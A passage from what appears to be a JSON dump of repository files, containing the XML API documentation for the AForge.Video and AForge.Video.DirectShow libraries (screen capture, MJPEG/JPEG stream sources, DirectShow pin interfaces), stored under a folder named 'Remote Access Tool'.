cref=\"T:AForge.Video.ScreenCaptureStream\"/> class.\n            </summary>\n            \n            <param name=\"region\">Screen's rectangle to capture (the rectangle may cover multiple displays).</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.ScreenCaptureStream.#ctor(System.Drawing.Rectangle,System.Int32)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.ScreenCaptureStream\"/> class.\n            </summary>\n            \n            <param name=\"region\">Screen's rectangle to capture (the rectangle may cover multiple displays).</param>\n            <param name=\"frameInterval\">Time interval between making screen shots, ms.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.ScreenCaptureStream.Start\">\n            <summary>\n            Start video source.\n            </summary>\n            \n            <remarks>Starts video source and return execution to caller. Video source\n            object creates background thread and notifies about new frames with the\n            help of <see cref=\"E:AForge.Video.ScreenCaptureStream.NewFrame\"/> event.</remarks>\n            \n            <exception cref=\"T:System.ArgumentException\">Video source is not specified.</exception>\n            \n        </member>\n        <member name=\"M:AForge.Video.ScreenCaptureStream.SignalToStop\">\n            <summary>\n            Signal video source to stop its work.\n            </summary>\n            \n            <remarks>Signals video source to stop its background thread, stop to\n            provide new frames and free resources.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.ScreenCaptureStream.WaitForStop\">\n            <summary>\n            Wait for video source has stopped.\n            </summary>\n            \n            <remarks>Waits for source stopping after it was signalled to stop using\n            <see cref=\"M:AForge.Video.ScreenCaptureStream.SignalToStop\"/> method.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.ScreenCaptureStream.Stop\">\n            <summary>\n            Stop video source.\n            </summary>\n            \n            <remarks><para>Stops video source aborting its thread.</para>\n            \n            <para><note>Since the method aborts background thread, its usage is highly not preferred\n            and should be done only if there are no other options. The correct way of stopping camera\n            is <see cref=\"M:AForge.Video.ScreenCaptureStream.SignalToStop\">signaling it stop</see> and then\n            <see cref=\"M:AForge.Video.ScreenCaptureStream.WaitForStop\">waiting</see> for background thread's completion.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.ScreenCaptureStream.Free\">\n            <summary>\n            Free resource.\n            </summary>\n            \n        </member>\n        <member name=\"E:AForge.Video.ScreenCaptureStream.NewFrame\">\n            <summary>\n            New frame event.\n            </summary>\n            \n            <remarks><para>Notifies clients about new available frame from video source.</para>\n            \n            <para><note>Since video source may have multiple clients, each client is responsible for\n            making a copy (cloning) of the passed video frame, because the video source disposes its\n            own original copy after notifying of clients.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.ScreenCaptureStream.VideoSourceError\">\n            <summary>\n            Video source error event.\n            </summary>\n            \n            <remarks>This event is used to notify clients about any type of errors occurred in\n            video source object, for example internal exceptions.</remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.ScreenCaptureStream.PlayingFinished\">\n            <summary>\n            Video playing finished event.\n            </summary>\n            \n            <remarks><para>This event is used to notify clients that the video playing has finished.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.ScreenCaptureStream.Source\">\n            <summary>\n            Video source.\n            </summary>\n            \n        </member>\n        <member name=\"P:AForge.Video.ScreenCaptureStream.Region\">\n            <summary>\n            Gets or sets the screen capture region.\n            </summary>\n            \n            <remarks><para>This property specifies which region (rectangle) of the screen to capture. It may cover multiple displays\n            if those are available in the system.</para>\n            \n            <para><note>The property must be set before starting video source to have any effect.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.ScreenCaptureStream.FrameInterval\">\n            <summary>\n            Time interval between making screen shots, ms.\n            </summary>\n            \n            <remarks><para>The property specifies time interval in milliseconds between consequent screen captures.\n            Expected frame rate of the stream should be approximately 1000/FrameInteval.</para>\n            \n            <para>If the property is set to 0, then the stream will capture screen as fast as the system allows.</para>\n            \n            <para>Default value is set to <b>100</b>.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.ScreenCaptureStream.FramesReceived\">\n            <summary>\n            Received frames count.\n            </summary>\n            \n            <remarks>Number of frames the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.ScreenCaptureStream.BytesReceived\">\n            <summary>\n            Received bytes count.\n            </summary>\n            \n            <remarks><para><note>The property is not implemented for this video source and always returns 0.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.ScreenCaptureStream.IsRunning\">\n            <summary>\n            State of the video source.\n            </summary>\n            \n            <remarks>Current state of video source object - running or not.</remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.MJPEGStream\">\n            <summary>\n            MJPEG video source.\n            </summary>\n            \n            <remarks><para>The video source downloads JPEG images from the specified URL, which represents\n            MJPEG stream.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // create MJPEG video source\n            MJPEGStream stream = new MJPEGStream( \"some url\" );\n            // set event handlers\n            stream.NewFrame += new NewFrameEventHandler( video_NewFrame );\n            // start the video source\n            stream.Start( );\n            // ...\n            </code>\n            \n            <para><note>Some cameras produce HTTP header, which does not conform strictly to\n            standard, what leads to .NET exception. To avoid this exception the <b>useUnsafeHeaderParsing</b>\n            configuration option of <b>httpWebRequest</b> should be set, what may be done using application\n            configuration file.</note></para>\n            <code>\n            &lt;configuration&gt;\n            \t&lt;system.net&gt;\n            \t\t&lt;settings&gt;\n            \t\t\t&lt;httpWebRequest useUnsafeHeaderParsing=\"true\" /&gt;\n            \t\t&lt;/settings&gt;\n            \t&lt;/system.net&gt;\n            &lt;/configuration&gt;\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.MJPEGStream.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.MJPEGStream\"/> class.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.MJPEGStream.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.MJPEGStream\"/> class.\n            </summary>\n            \n            <param name=\"source\">URL, which provides MJPEG stream.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.MJPEGStream.Start\">\n            <summary>\n            Start video source.\n            </summary>\n            \n            <remarks>Starts video source and return execution to caller. Video source\n            object creates background thread and notifies about new frames with the\n            help of <see cref=\"E:AForge.Video.MJPEGStream.NewFrame\"/> event.</remarks>\n            \n            <exception cref=\"T:System.ArgumentException\">Video source is not specified.</exception>\n            \n        </member>\n        <member name=\"M:AForge.Video.MJPEGStream.SignalToStop\">\n            <summary>\n            Signal video source to stop its work.\n            </summary>\n            \n            <remarks>Signals video source to stop its background thread, stop to\n            provide new frames and free resources.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.MJPEGStream.WaitForStop\">\n            <summary>\n            Wait for video source has stopped.\n            </summary>\n            \n            <remarks>Waits for source stopping after it was signalled to stop using\n            <see cref=\"M:AForge.Video.MJPEGStream.SignalToStop\"/> method.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.MJPEGStream.Stop\">\n            <summary>\n            Stop video source.\n            </summary>\n            \n            <remarks><para>Stops video source aborting its thread.</para>\n            \n            <para><note>Since the method aborts background thread, its usage is highly not preferred\n            and should be done only if there are no other options. The correct way of stopping camera\n            is <see cref=\"M:AForge.Video.MJPEGStream.SignalToStop\">signaling it stop</see> and then\n            <see cref=\"M:AForge.Video.MJPEGStream.WaitForStop\">waiting</see> for background thread's completion.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.MJPEGStream.Free\">\n            <summary>\n            Free resource.\n            </summary>\n            \n        </member>\n        <member name=\"E:AForge.Video.MJPEGStream.NewFrame\">\n            <summary>\n            New frame event.\n            </summary>\n            \n            <remarks><para>Notifies clients about new available frame from video source.</para>\n            \n            <para><note>Since video source may have multiple clients, each client is responsible for\n            making a copy (cloning) of the passed video frame, because the video source disposes its\n            own original copy after notifying of clients.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.MJPEGStream.VideoSourceError\">\n            <summary>\n            Video source error event.\n            </summary>\n            \n            <remarks>This event is used to notify clients about any type of errors occurred in\n            video source object, for example internal exceptions.</remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.MJPEGStream.PlayingFinished\">\n            <summary>\n            Video playing finished event.\n            </summary>\n            \n            <remarks><para>This event is used to notify clients that the video playing has finished.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.SeparateConnectionGroup\">\n            <summary>\n            Use or not separate connection group.\n            </summary>\n            \n            <remarks>The property indicates to open web request in separate connection group.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.Source\">\n            <summary>\n            Video source.\n            </summary>\n            \n            <remarks>URL, which provides MJPEG stream.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.Login\">\n            <summary>\n            Login value.\n            </summary>\n            \n            <remarks>Login required to access video source.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.Password\">\n            <summary>\n            Password value.\n            </summary>\n            \n            <remarks>Password required to access video source.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.Proxy\">\n            <summary>\n            Gets or sets proxy information for the request.\n            </summary>\n            \n            <remarks><para>The local computer or application config file may specify that a default\n            proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy\n            property overridea the local computer or application config file and the instance will use\n            the proxy settings specified. If no proxy is specified in a config file\n            and the Proxy property is unspecified, the request uses the proxy settings\n            inherited from Internet Explorer on the local computer. If there are no proxy settings\n            in Internet Explorer, the request is sent directly to the server.\n            </para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.HttpUserAgent\">\n            <summary>\n            User agent to specify in HTTP request header.\n            </summary>\n            \n            <remarks><para>Some IP cameras check what is the requesting user agent and depending\n            on it they provide video in different formats or do not provide it at all. The property\n            sets the value of user agent string, which is sent to camera in request header.\n            </para>\n            \n            <para>Default value is set to \"Mozilla/5.0\". If the value is set to <see langword=\"null\"/>,\n            the user agent string is not sent in request header.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.FramesReceived\">\n            <summary>\n            Received frames count.\n            </summary>\n            \n            <remarks>Number of frames the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.BytesReceived\">\n            <summary>\n            Received bytes count.\n            </summary>\n            \n            <remarks>Number of bytes the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.RequestTimeout\">\n            <summary>\n            Request timeout value.\n            </summary>\n            \n            <remarks>The property sets timeout value in milliseconds for web requests.\n            Default value is 10000 milliseconds.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.IsRunning\">\n            <summary>\n            State of the video source.\n            </summary>\n            \n            <remarks>Current state of video source object - running or not.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.MJPEGStream.ForceBasicAuthentication\">\n            <summary>\n            Force using of basic authentication when connecting to the video source.\n            </summary>\n            \n            <remarks><para>For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials\n            does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be\n            present on connection request). So this property allows to force basic authentication by adding required HTTP headers when\n            request is sent.</para>\n            \n            <para>Default value is set to <see langword=\"false\"/>.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.VideoException\">\n            <summary>\n            Video related exception.\n            </summary>\n            \n            <remarks><para>The exception is thrown in the case of some video related issues, like\n            failure of initializing codec, compression, etc.</para></remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.VideoException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.VideoException\"/> class.\n            </summary>\n            \n            <param name=\"message\">Exception's message.</param>\n            \n        </member>\n        <member name=\"T:AForge.Video.NewFrameEventHandler\">\n            <summary>\n            Delegate for new frame event handler.\n            </summary>\n            \n            <param name=\"sender\">Sender object.</param>\n            <param name=\"eventArgs\">Event arguments.</param>\n            \n        </member>\n        <member name=\"T:AForge.Video.VideoSourceErrorEventHandler\">\n            <summary>\n            Delegate for video source error event handler.\n            </summary>\n            \n            <param name=\"sender\">Sender object.</param>\n            <param name=\"eventArgs\">Event arguments.</param>\n            \n        </member>\n        <member name=\"T:AForge.Video.PlayingFinishedEventHandler\">\n            <summary>\n            Delegate for playing finished event handler.\n            </summary>\n            \n            <param name=\"sender\">Sender object.</param>\n            <param name=\"reason\">Reason of finishing video playing.</param>\n            \n        </member>\n        <member name=\"T:AForge.Video.ReasonToFinishPlaying\">\n            <summary>\n            Reason of finishing video playing.\n            </summary>\n            \n            <remarks><para>When video source class fire the <see cref=\"E:AForge.Video.IVideoSource.PlayingFinished\"/> event, they\n            need to specify reason of finishing video playing. For example, it may be end of stream reached.</para></remarks>\n            \n        </member>\n        <member name=\"F:AForge.Video.ReasonToFinishPlaying.EndOfStreamReached\">\n            <summary>\n            Video playing has finished because it end was reached.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.ReasonToFinishPlaying.StoppedByUser\">\n            <summary>\n            Video playing has finished because it was stopped by user.\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.ReasonToFinishPlaying.DeviceLost\">\n            <summary>\n            Video playing has finished because the device was lost (unplugged).\n            </summary>\n        </member>\n        <member name=\"F:AForge.Video.ReasonToFinishPlaying.VideoSourceError\">\n            <summary>\n            Video playing has finished because of some error happened the video source (camera, stream, file, etc.).\n            A error reporting event usually is fired to provide error information.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.NewFrameEventArgs\">\n            <summary>\n            Arguments for new frame event from video source.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.NewFrameEventArgs.#ctor(System.Drawing.Bitmap)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.NewFrameEventArgs\"/> class.\n            </summary>\n            \n            <param name=\"frame\">New frame.</param>\n            \n        </member>\n        <member name=\"P:AForge.Video.NewFrameEventArgs.Frame\">\n            <summary>\n            New frame from video source.\n            </summary>\n            \n        </member>\n        <member name=\"T:AForge.Video.VideoSourceErrorEventArgs\">\n            <summary>\n            Arguments for video source error event from video source.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.VideoSourceErrorEventArgs.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.VideoSourceErrorEventArgs\"/> class.\n            </summary>\n            \n            <param name=\"description\">Error description.</param>\n            \n        </member>\n        <member name=\"P:AForge.Video.VideoSourceErrorEventArgs.Description\">\n            <summary>\n            Video source error description.\n            </summary>\n            \n        </member>\n        <member name=\"T:AForge.Video.JPEGStream\">\n            <summary>\n            JPEG video source.\n            </summary>\n            \n            <remarks><para>The video source constantly downloads JPEG files from the specified URL.</para>\n            \n            <para>Sample usage:</para>\n            <code>\n            // create JPEG video source\n            JPEGStream stream = new JPEGStream( \"some url\" );\n            // set NewFrame event handler\n            stream.NewFrame += new NewFrameEventHandler( video_NewFrame );\n            // start the video source\n            stream.Start( );\n            // ...\n            // signal to stop\n            stream.SignalToStop( );\n            // ...\n            \n            private void video_NewFrame( object sender, NewFrameEventArgs eventArgs )\n            {\n                // get new frame\n                Bitmap bitmap = eventArgs.Frame;\n                // process the frame\n            }\n            </code>\n            \n            <para><note>Some cameras produce HTTP header, which does not conform strictly to\n            standard, what leads to .NET exception. To avoid this exception the <b>useUnsafeHeaderParsing</b>\n            configuration option of <b>httpWebRequest</b> should be set, what may be done using application\n            configuration file.</note></para>\n            <code>\n            &lt;configuration&gt;\n            \t&lt;system.net&gt;\n            \t\t&lt;settings&gt;\n            \t\t\t&lt;httpWebRequest useUnsafeHeaderParsing=\"true\" /&gt;\n            \t\t&lt;/settings&gt;\n            \t&lt;/system.net&gt;\n            &lt;/configuration&gt;\n            </code>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.JPEGStream.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.JPEGStream\"/> class.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.JPEGStream.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:AForge.Video.JPEGStream\"/> class.\n            </summary>\n            \n            <param name=\"source\">URL, which provides JPEG files.</param>\n            \n        </member>\n        <member name=\"M:AForge.Video.JPEGStream.Start\">\n            <summary>\n            Start video source.\n            </summary>\n            \n            <remarks>Starts video source and return execution to caller. Video source\n            object creates background thread and notifies about new frames with the\n            help of <see cref=\"E:AForge.Video.JPEGStream.NewFrame\"/> event.</remarks>\n            \n            <exception cref=\"T:System.ArgumentException\">Video source is not specified.</exception>\n            \n        </member>\n        <member name=\"M:AForge.Video.JPEGStream.SignalToStop\">\n            <summary>\n            Signal video source to stop its work.\n            </summary>\n            \n            <remarks>Signals video source to stop its background thread, stop to\n            provide new frames and free resources.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.JPEGStream.WaitForStop\">\n            <summary>\n            Wait for video source has stopped.\n            </summary>\n            \n            <remarks>Waits for source stopping after it was signalled to stop using\n            <see cref=\"M:AForge.Video.JPEGStream.SignalToStop\"/> method.</remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.JPEGStream.Stop\">\n            <summary>\n            Stop video source.\n            </summary>\n            \n            <remarks><para>Stops video source aborting its thread.</para>\n            \n            <para><note>Since the method aborts background thread, its usage is highly not preferred\n            and should be done only if there are no other options. The correct way of stopping camera\n            is <see cref=\"M:AForge.Video.JPEGStream.SignalToStop\">signaling it stop</see> and then\n            <see cref=\"M:AForge.Video.JPEGStream.WaitForStop\">waiting</see> for background thread's completion.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"M:AForge.Video.JPEGStream.Free\">\n            <summary>\n            Free resource.\n            </summary>\n            \n        </member>\n        <member name=\"E:AForge.Video.JPEGStream.NewFrame\">\n            <summary>\n            New frame event.\n            </summary>\n            \n            <remarks><para>Notifies clients about new available frame from video source.</para>\n            \n            <para><note>Since video source may have multiple clients, each client is responsible for\n            making a copy (cloning) of the passed video frame, because the video source disposes its\n            own original copy after notifying of clients.</note></para>\n            </remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.JPEGStream.VideoSourceError\">\n            <summary>\n            Video source error event.\n            </summary>\n            \n            <remarks>This event is used to notify clients about any type of errors occurred in\n            video source object, for example internal exceptions.</remarks>\n            \n        </member>\n        <member name=\"E:AForge.Video.JPEGStream.PlayingFinished\">\n            <summary>\n            Video playing finished event.\n            </summary>\n            \n            <remarks><para>This event is used to notify clients that the video playing has finished.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.SeparateConnectionGroup\">\n            <summary>\n            Use or not separate connection group.\n            </summary>\n            \n            <remarks>The property indicates to open web request in separate connection group.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.PreventCaching\">\n            <summary>\n            Use or not caching.\n            </summary>\n            \n            <remarks>If the property is set to <b>true</b>, then a fake random parameter will be added\n            to URL to prevent caching. It's required for clients, who are behind proxy server.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.FrameInterval\">\n            <summary>\n            Frame interval.\n            </summary>\n            \n            <remarks>The property sets the interval in milliseconds betwen frames. If the property is\n            set to 100, then the desired frame rate will be 10 frames per second. Default value is 0 -\n            get new frames as fast as possible.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.Source\">\n            <summary>\n            Video source.\n            </summary>\n            \n            <remarks>URL, which provides JPEG files.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.Login\">\n            <summary>\n            Login value.\n            </summary>\n            \n            <remarks>Login required to access video source.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.Password\">\n            <summary>\n            Password value.\n            </summary>\n            \n            <remarks>Password required to access video source.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.Proxy\">\n            <summary>\n            Gets or sets proxy information for the request.\n            </summary>\n            \n            <remarks><para>The local computer or application config file may specify that a default\n            proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy\n            property overridea the local computer or application config file and the instance will use\n            the proxy settings specified. If no proxy is specified in a config file\n            and the Proxy property is unspecified, the request uses the proxy settings\n            inherited from Internet Explorer on the local computer. If there are no proxy settings\n            in Internet Explorer, the request is sent directly to the server.\n            </para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.FramesReceived\">\n            <summary>\n            Received frames count.\n            </summary>\n            \n            <remarks>Number of frames the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.BytesReceived\">\n            <summary>\n            Received bytes count.\n            </summary>\n            \n            <remarks>Number of bytes the video source provided from the moment of the last\n            access to the property.\n            </remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.RequestTimeout\">\n            <summary>\n            Request timeout value.\n            </summary>\n            \n            <remarks><para>The property sets timeout value in milliseconds for web requests.</para>\n            \n            <para>Default value is set <b>10000</b> milliseconds.</para></remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.IsRunning\">\n            <summary>\n            State of the video source.\n            </summary>\n            \n            <remarks>Current state of video source object - running or not.</remarks>\n            \n        </member>\n        <member name=\"P:AForge.Video.JPEGStream.ForceBasicAuthentication\">\n            <summary>\n            Force using of basic authentication when connecting to the video source.\n            </summary>\n            \n            <remarks><para>For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials\n            does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be\n            present on connection request). So this property allows to force basic authentication by adding required HTTP headers when\n            request is sent.</para>\n            \n            <para>Default value is set to <see langword=\"false\"/>.</para>\n            </remarks>\n            \n        </member>\n        <member name=\"T:AForge.Video.ByteArrayUtils\">\n            <summary>\n            Some internal utilities for handling arrays.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.ByteArrayUtils.Compare(System.Byte[],System.Byte[],System.Int32)\">\n            <summary>\n            Check if the array contains needle at specified position.\n            </summary>\n            \n            <param name=\"array\">Source array to check for needle.</param>\n            <param name=\"needle\">Needle we are searching for.</param>\n            <param name=\"startIndex\">Start index in source array.</param>\n            \n            <returns>Returns <b>true</b> if the source array contains the needle at\n            the specified index. Otherwise it returns <b>false</b>.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.ByteArrayUtils.Find(System.Byte[],System.Byte[],System.Int32,System.Int32)\">\n            <summary>\n            Find subarray in the source array.\n            </summary>\n            \n            <param name=\"array\">Source array to search for needle.</param>\n            <param name=\"needle\">Needle we are searching for.</param>\n            <param name=\"startIndex\">Start index in source array.</param>\n            <param name=\"sourceLength\">Number of bytes in source array, where the needle is searched for.</param>\n            \n            <returns>Returns starting position of the needle if it was found or <b>-1</b> otherwise.</returns>\n            \n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/AForge.Video.DirectShow.2.2.5/lib/AForge.Video.DirectShow.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>AForge.Video.DirectShow</name>\n    </assembly>\n    <members>\n        <member name=\"T:AForge.Video.DirectShow.Properties.Resources\">\n            <summary>\n              A strongly-typed resource class, for looking up localized strings, etc.\n            </summary>\n        </member>\n        <member name=\"P:AForge.Video.DirectShow.Properties.Resources.ResourceManager\">\n            <summary>\n              Returns the cached ResourceManager instance used by this class.\n            </summary>\n        </member>\n        <member name=\"P:AForge.Video.DirectShow.Properties.Resources.Culture\">\n            <summary>\n              Overrides the current thread's CurrentUICulture property for all\n              resource lookups using this strongly typed resource class.\n            </summary>\n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IPin\">\n            <summary>\n            This interface is exposed by all input and output pins of DirectShow filters.\n            </summary>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.Connect(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Connects the pin to another pin.\n            </summary>\n            \n            <param name=\"receivePin\">Other pin to connect to.</param>\n            <param name=\"mediaType\">Type to use for the connections (optional).</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.ReceiveConnection(AForge.Video.DirectShow.Internals.IPin,AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Makes a connection to this pin and is called by a connecting pin.\n            </summary>\n            \n            <param name=\"receivePin\">Connecting pin.</param>\n            <param name=\"mediaType\">Media type of the samples to be streamed.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.Disconnect\">\n            <summary>\n            Breaks the current pin connection.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.ConnectedTo(AForge.Video.DirectShow.Internals.IPin@)\">\n            <summary>\n            Returns a pointer to the connecting pin.\n            </summary>\n            \n            <param name=\"pin\">Receives <b>IPin</b> interface of connected pin (if any).</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.ConnectionMediaType(AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Returns the media type of this pin's connection.\n            </summary>\n            \n            <param name=\"mediaType\">Pointer to an <see cref=\"T:AForge.Video.DirectShow.Internals.AMMediaType\"/> structure. If the pin is connected,\n            the media type is returned. Otherwise, the structure is initialized to a default state in which\n            all elements are 0, with the exception of <b>lSampleSize</b>, which is set to 1, and\n            <b>FixedSizeSamples</b>, which is set to <b>true</b>.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.QueryPinInfo(AForge.Video.DirectShow.Internals.PinInfo@)\">\n            <summary>\n            Retrieves information about this pin (for example, the name, owning filter, and direction).\n            </summary>\n            \n            <param name=\"pinInfo\"><see cref=\"T:AForge.Video.DirectShow.Internals.PinInfo\"/> structure that receives the pin information.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.QueryDirection(AForge.Video.DirectShow.Internals.PinDirection@)\">\n            <summary>\n            Retrieves the direction for this pin.\n            </summary>\n            \n            <param name=\"pinDirection\">Receives direction of the pin.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.QueryId(System.String@)\">\n            <summary>\n            Retrieves an identifier for the pin.\n            </summary>\n            \n            <param name=\"id\">Pin identifier.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.QueryAccept(AForge.Video.DirectShow.Internals.AMMediaType)\">\n            <summary>\n            Queries whether a given media type is acceptable by the pin.\n            </summary>\n            \n            <param name=\"mediaType\"><see cref=\"T:AForge.Video.DirectShow.Internals.AMMediaType\"/> structure that specifies the media type.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.EnumMediaTypes(System.IntPtr)\">\n            <summary>\n            Provides an enumerator for this pin's preferred media types.\n            </summary>\n            \n            <param name=\"enumerator\">Address of a variable that receives a pointer to the <b>IEnumMediaTypes</b> interface.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.QueryInternalConnections(System.IntPtr,System.Int32@)\">\n            <summary>\n            Provides an array of the pins to which this pin internally connects.\n            </summary>\n            \n            <param name=\"apPin\">Address of an array of <b>IPin</b> pointers.</param>\n            <param name=\"nPin\">On input, specifies the size of the array. When the method returns,\n            the value is set to the number of pointers returned in the array.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.EndOfStream\">\n            <summary>\n            Notifies the pin that no additional data is expected.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.BeginFlush\">\n            <summary>\n            Begins a flush operation.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.EndFlush\">\n            <summary>\n            Ends a flush operation.\n            </summary>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"M:AForge.Video.DirectShow.Internals.IPin.NewSegment(System.Int64,System.Int64,System.Double)\">\n            <summary>\n            Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate.\n            </summary>\n            \n            <param name=\"start\">Start time of the segment, relative to the original source, in 100-nanosecond units.</param>\n            <param name=\"stop\">End time of the segment, relative to the original source, in 100-nanosecond units.</param>\n            <param name=\"rate\">Rate at which this segment should be processed, as a percentage of the original rate.</param>\n            \n            <returns>Return's <b>HRESULT</b> error code.</returns>\n            \n        </member>\n        <member name=\"T:AForge.Video.DirectShow.Internals.IFilterGraph\">\n            <summary>\n            The interface provides methods for building a filter graph. An application can use it to add filters to\n            the graph, connect or disconnect filters, remove filters, and perform other basic operations. \n            </summary>\n            \n        </member>\n        <member 